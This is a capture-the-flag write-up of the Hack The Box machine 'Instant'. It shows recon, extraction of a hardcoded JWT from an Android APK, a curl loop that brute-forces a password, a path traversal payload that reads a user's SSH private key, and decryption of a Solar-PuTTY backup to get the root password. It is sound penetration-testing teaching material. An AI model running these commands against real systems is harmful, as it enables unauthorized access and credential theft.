Description
Instant is a medium Hack The Box machine that features:
- Leaked Administrator JWT token in the source code of an Android application package
- Subdomain enumeration in the XML network configuration of an Android application package
- API enumeration using one subdomain that provides the application documentation
- Brute Force to the login endpoint to recover the weak password of an API user
- Path Traversal vulnerability in an API endpoint that allows reading an user SSH private key
- Privilege Escalation by the decryption of a backup from the Solar-Putty application using a previously obtained password
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.132.27.
$ ping -c 3 10.129.132.27
PING 10.129.132.27 (10.129.132.27) 56(84) bytes of data.
64 bytes from 10.129.132.27: icmp_seq=1 ttl=63 time=43.6 ms
64 bytes from 10.129.132.27: icmp_seq=2 ttl=63 time=43.9 ms
64 bytes from 10.129.132.27: icmp_seq=3 ttl=63 time=44.5 ms
--- 10.129.132.27 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.612/44.015/44.527/0.381 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.132.27 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.045s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.02 seconds
We get two open ports: 22 and 80.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.132.27 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.132.27
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.64 seconds
We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We can see that the HTTP service redirection to instant.htb. So we add it to the /etc/hosts file.
$ echo "10.129.132.27 instant.htb" | sudo tee -a /etc/hosts
We find a web page that offers the download of a financial Android application (http://instant.htb/downloads/instant.apk).
We download the APK file and we use the JADX tool to review its source code.
$ wget http://instant.htb/downloads/instant.apk
$ sudo apt install jadx -y
$ jadx-gui $PWD/instant.apk
We find an API endpoint (http://mywalletv1.instant.htb/api/v1/view/profile) and a JWT token (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA) in the AdminActivities class (`instant.apk > Source Code > com > instantlabs.instant > AdminActivities).
public class AdminActivities {
private String TestAdminAuthorization() {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
static final /* synthetic */ boolean $assertionsDisabled = false;
...
We also find two sub-domains of the instant.htb server in the network_security_config.xml file (instant.apk > Resources > res > xml > network_security_config.xml), mywalletv1.instant.htb and swagger-ui.instant.htb.
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb
</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb
</domain>
</domain-config>
</network-security-config>
We add them to our hosts file.
$ echo "10.129.132.27 mywalletv1.instant.htb" | sudo tee -a /etc/hosts
$ echo "10.129.132.27 swagger-ui.instant.htb" | sudo tee -a /etc/hosts
We can check if we can use the JWT token to access to the previously mentioned endpoint.
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/view/profile' | jq
{
"Profile": {
"account_status": "active",
"email": "admin@instant.htb",
"invite_token": "instant_admin_inv",
"role": "Admin",
"username": "instantAdmin",
"wallet_balance": "10000000",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
"Status": 200
}
We are able to user the user admin session in the API. Let’s enumerate the Swagger sub-domain for documentation of the API. We find the following API endpoints in the http://swagger-ui.instant.htb/apidocs/ web page.
/api/v1/admin/add/user
/api/v1/admin/list/users
/api/v1/login
/api/v1/register
/api/v1/view/profile
/api/v1/admin/read/log
/api/v1/admin/view/logs
/api/v1/confirm/pin
/api/v1/initiate/transaction
/api/v1/view/transactions
We can start with the /api/v1/admin/list/users endpoint to check the registered users in the application.
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/list/users' | jq
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
}
]
}
We find the shirohige user. We are going to brute-force the /api/v1/login endpoint to try to recover its password.
$ for pass in $(cat /usr/share/wordlists/metasploit/unix_passwords.txt); do echo $pass && curl -X POST "http://swagger-ui.instant.htb/api/v1/login" -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"password\": \"$pass\", \"username\": \"shirohige\"}"; done
admin
{"Description":"Wrong Password / Username","Status":403}
123456
{"Description":"Wrong Password / Username","Status":403}
12345
...
estrella
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjQ1ODcxNWM5LWIxNWUtNDY3Yi04YTNkLTk3YmMzZmNmM2MxMSIsImV4cCI6MTcyODc5NjY3Mn0.zcXOdzUJlzqIXJH5Xylf5goy_vZvbPnSVLboTOSDlRg","Status":201}
We find its password, estrella, and we obtain the session JWT. Enumerating the other endpoints, we find that we can list the log files using /api/v1/admin/view/logs and the admin token.
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/view/logs' | jq
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
We find that one log exists with file name 1.log and /home/shirohige/logs/ path. We can use the /api/v1/admin/read/log API endpoints and log_file_name query parameter to read the file.
curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log' | jq
{
"/home/shirohige/logs/1.log": [
"This is a sample log testing\n"
],
"Status": 201
}
Exploitation
The /api/v1/admin/read/log endpoint is vulnerable to Path Traversal attack, allowing us to read sensitive files, such as the hosts file of the machine with ../../../../../etc/hosts.
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../etc/hosts' --path-as-is | jq
{
"/home/shirohige/logs/../../../../../etc/hosts": [
"127.0.0.1 localhost instant.htb mywalletv1.instant.htb swagger-ui.instant.htb\n",
"127.0.1.1 instant\n",
"\n",
"# The following lines are desirable for IPv6 capable hosts\n",
"::1 ip6-localhost ip6-loopback\n",
"fe00::0 ip6-localnet\n",
"ff00::0 ip6-mcastprefix\n",
"ff02::1 ip6-allnodes\n",
"ff02::2 ip6-allrouters\n"
],
"Status": 201
}
We can retrieve the private SSH key of the shirohige user.
$ curl -s -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../../home/shirohige/.ssh/id_rsa' --path-as-is | jq
{
"/home/shirohige/logs/../../../../../home/shirohige/.ssh/id_rsa": [
"-----BEGIN RSA PRIVATE KEY-----\n",
...
"OvhkZuRBNpJ3PLmygGmf3rsAfFHSSRF1YmZyRgx97/sl6kl1v4s=\n",
"-----END RSA PRIVATE KEY-----\n"
],
"Status": 201
}
Then we can use the key to login as the shirohige using the private key.
$ chmod 600 shirohige_key
$ ssh -i shirohige_key shirohige@instant.htb
shirohige@instant:~$ id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
Post-Exploitation
In the /opt/backups/Solar-PuTTY directory, we find the sessions-backup.dat. As the name suggests, this is the backup file of the session vault of the Solar-PuTTY application, which contains credentials. We find a Windows project that allow us to recover the contents of the session having a password, SolarPuttyDecrypt, created by VoidSec. We are going to download the project and run it in our Linux machine using Wine. We need to install the dotnet45 dependency using winetricks tool.
$ wget https://github.com/VoidSec/SolarPuttyDecrypt/releases/download/v1.0/SolarPuttyDecrypt_v1.zip
$ unzip SolarPuttyDecrypt_v1.zip
$ winetricks dotnet45
For the password, we are going to use estrella, the password we recovered previously.
$ wine SolarPuttyDecrypt.exe ../sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
We find the password for the root user, 12**24nzC!r0c%q12. We can just login using su. We get the session as the root user.
shirohige@instant:~$ su root
Password:
root@instant:/home/shirohige# id
uid=0(root) gid=0(root) groups=0(root)
Flags
With the root shell, we can obtain the user and root flags.
root@instant:/home/shirohige# cat /home/shirohige/user.txt
<REDACTED>
root@instant:/home/shirohige# cat /root/root.txt
<REDACTED>